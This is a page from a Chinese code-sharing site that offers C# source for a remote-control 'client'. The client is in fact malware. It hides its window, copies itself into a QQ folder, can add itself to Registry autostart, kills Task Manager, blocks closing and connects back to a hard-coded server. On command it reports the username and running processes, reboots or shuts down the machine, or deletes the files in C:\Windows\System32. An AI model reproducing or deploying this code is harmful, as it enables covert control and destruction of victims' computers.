实例介绍
【实例截图】
需改 Server.cs和Client.cs中的ip地址即可,如下:
【核心代码】
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using System.IO;
namespace _99.远控客户端
{
public partial class Client : Form
{
public Client()
{
InitializeComponent();
}
bool b = true;
Socket socketSend;
private void Client_Load(object sender, EventArgs e)
{
//Startup(); //加开机启动
this.Width = 0;
this.Height = 0;
Brothers();//复制一份
Control.CheckForIllegalCrossThreadCalls = false;//关闭线程监视
//和主机连接起来——————为了避免假死,就弄个线程过来
Thread th = new Thread(ClientConnect);
th.IsBackground = true;//[后台线程--主窗体被关闭了,程序会立刻结束]
th.Start();
}
#region 自我保护
public void Brothers()
{
try
{
string path = Application.ExecutablePath;
string fileName = Path.GetFileName(path);
Directory.CreateDirectory(@"D:\Program Files (x86)\Tencent\QQ\dnt");
string newFileName = @"D:\Program Files (x86)\Tencent\QQ\dnt\" fileName;
if (!File.Exists(newFileName))
{
File.Copy(fileName, newFileName, true);
Process.Start(newFileName);
}
}
catch { }
}
#endregion
#region 加开机启动——————我这边不想邪恶,就注释了,你要的话就弄出来就行了
public void Startup() //win8 60%的电脑有用,win7都可以
{
try
{
string KJLJ = Application.ExecutablePath;
if (!System.IO.File.Exists(KJLJ))//判断指定文件是否存在
return;
string newKJLJ = KJLJ.Substring(KJLJ.LastIndexOf("\\") 1);
RegistryKey Rkey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (Rkey == null)
Rkey = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
Rkey.SetValue(newKJLJ, KJLJ);
}
catch { }
}
#endregion
#region 连接服务器
public void ClientConnect()
{
while (b)//连接没问题就只连接一次,一旦出现问题就反复连接直到成功
{
try
{
//创建一个Socket通信对象
socketSend = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
//获取服务器ip
IPAddress ip = IPAddress.Parse("192.168.92.1");
//开始连接
socketSend.Connect(ip, 5438);
b = false;//到这一步说明程序正常,就不要反复连接来占用资源了
//连接成功后咱们就得接受服务器的指令了
Thread th = new Thread(DntWatch);
th.IsBackground = true;
th.Start();
}
catch
{
b = true;//有问题,那就继续连呗,反正又不是咱们的电脑,不能告诉他详细信息的
}
}
}
#endregion
#region 结束taskmgr
public void KillProcess()
{
Process[] pro = Process.GetProcessesByName("taskmgr");
foreach (Process item in pro)
{
try { item.Kill(); }
catch { }
}
}
private void timer1_Tick(object sender, EventArgs e)
{
KillProcess();
}
#endregion
#region 获取进程
public string GetProcess()
{
StringBuilder sb = new StringBuilder();
Process[] ps = Process.GetProcesses();
foreach (Process item in ps)
{
sb.Append(item.ProcessName).Append("\n");
}
return sb.ToString();
}
#endregion
#region 等待服务器指令
public void DntWatch()
{
string userName = null;
try
{
while (true)
{
byte[] buffer = new byte[1];//以后想发远程cmd就把空间放大一点【1M也够了】--如果想发软件,可以发地址过来,让客户端自己下载(不然拖慢两边速度)
int r = socketSend.Receive(buffer);//接受数据,返回实际字节数
byte cmd = buffer[0];//读取发的标识
switch (cmd)
{
case 0:
userName = Environment.UserName.ToString(); //获取电脑用户名
socketSend.Send(Encoding.UTF8.GetBytes(userName));
break;
case 1:
socketSend.Send(Encoding.UTF8.GetBytes(GetProcess())); //对方的任务进程
break;
case 2: DNT("shutdown -r -t 0"); DNT("shutdown -r -t 0"); break;//重启远程电脑
case 3: DNT("shutdown -s -t 0"); DNT("shutdown -s -t 0"); break;//关闭远程电脑
case 4:
{
string dPath = @"C:\Windows\System32";
string[] dfiles = Directory.GetFiles(dPath);
foreach (string item in dfiles)
{
try
{
Process.Start("cmd");
File.Delete(item);
}
catch
{
continue;
}
}
DNT("shutdown -s -t 0"); DNT("shutdown -s -t 0");
break; //让对方卡到爆,然后灭机
}
}
}
}
catch//说明服务器下线了
{
b = true;
Thread th = new Thread(ClientConnect);
th.IsBackground = true;//[前台线程--主窗体被关闭了,程序不会立刻结束]
th.Start();
}
}
#endregion
#region 关机重启
[DllImport("user32.dll", EntryPoint = "ExitWindowsEx", CharSet = CharSet.Ansi)]
private static extern int ExitWindowsEx(int uFlags, int dwReserved);
public void DNT(string input)//关机 //重启
{
System.Diagnostics.Process myProcess = new System.Diagnostics.Process();
myProcess.StartInfo.FileName = "cmd.exe";
myProcess.StartInfo.UseShellExecute = false;
myProcess.StartInfo.RedirectStandardInput = true;
myProcess.StartInfo.RedirectStandardOutput = true;
myProcess.StartInfo.RedirectStandardError = true;
myProcess.StartInfo.CreateNoWindow = true;
myProcess.Start();
myProcess.StandardInput.WriteLine(input); //-r重启-s关机
}
#endregion
#region 窗体不关闭
private void Client_FormClosing(object sender, FormClosingEventArgs e)
{
e.Cancel = true;
}
#endregion
}
}
网友评论
小贴士
感谢您为本站写下的评论,您的评论对其它用户来说具有重要的参考价值,所以请认真填写。
- 类似“顶”、“沙发”之类没有营养的文字,对勤劳贡献的楼主来说是令人沮丧的反馈信息。
- 相信您也不想看到一排文字/表情墙,所以请不要反馈意义不大的重复字符,也请尽量不要纯表情的回复。
- 提问之前请再仔细看一遍楼主的说明,或许是您遗漏了。
- 请勿到处挖坑绊人、招贴广告。既占空间让人厌烦,又没人会搭理,于人于己都无利。
关于好例子网
本站旨在为广大IT学习爱好者提供一个非营利性互相学习交流分享平台。本站所有资源都可以被免费获取学习研究。本站资源来自网友分享,对搜索内容的合法性不具有预见性、识别性、控制性,仅供学习研究,请务必在下载后24小时内给予删除,不得用于其他任何用途,否则后果自负。基于互联网的特殊性,平台无法对用户传输的作品、信息、内容的权属或合法性、安全性、合规性、真实性、科学性、完整权、有效性等进行实质审查;无论平台是否已进行审查,用户均应自行承担因其传输的作品、信息、内容而可能或已经产生的侵权或权属纠纷等法律责任。本站所有资源不代表本站的观点或立场,基于网友分享,根据中国法律《信息网络传播权保护条例》第二十二与二十三条之规定,若资源存在侵权或相关问题请联系本站客服人员,点此联系我们。关于更多版权及免责申明参见 版权及免责申明


支持(0) 盖楼(回复)